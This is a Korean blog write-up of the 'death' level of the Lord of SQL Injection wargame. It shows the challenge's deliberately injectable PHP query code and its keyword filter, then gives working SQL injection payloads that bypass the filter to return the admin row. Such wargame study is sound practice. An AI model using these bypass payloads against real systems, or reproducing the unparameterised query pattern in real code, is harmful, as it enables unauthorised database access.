wargame/Lord Of SQL Injection

[LOS] death

LimeLee 2019. 5. 10. 11:03

소스코드 분석

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

1. if($result['id'] == 'admin') solve("death"); > admin 값을 출력

 

2. if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); > admin이라는 문자열을 필터링.

 

문제풀이

이전문제와 동일한 페이로드를 요청한다.

?id='<@=1 or 1-- -

prob_death 테이블에는 guest라는 값이 존재하여 클리어가 되지 않는다.

 

admin이라는 문자열을 사용하지 않고 조건을 걸어주어 admin값을 최상위로 올릴 필요가 있다.

order by를 사용해도 될 것이고 limit를 사용해주어도 된다. admin이라는 문자열을 필터링하고 있다면 binary나 hex값으로 변환하여도 된다. 방법은 다양하다.

?id='<@=1 or id<'b'-- -

'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] cyclops  (0) 2019.05.10
[LOS] godzilla  (0) 2019.05.10
[LOS] cthulhu  (0) 2019.05.10
[LOS] alien  (0) 2018.08.19
[LOS] zombie  (0) 2018.08.18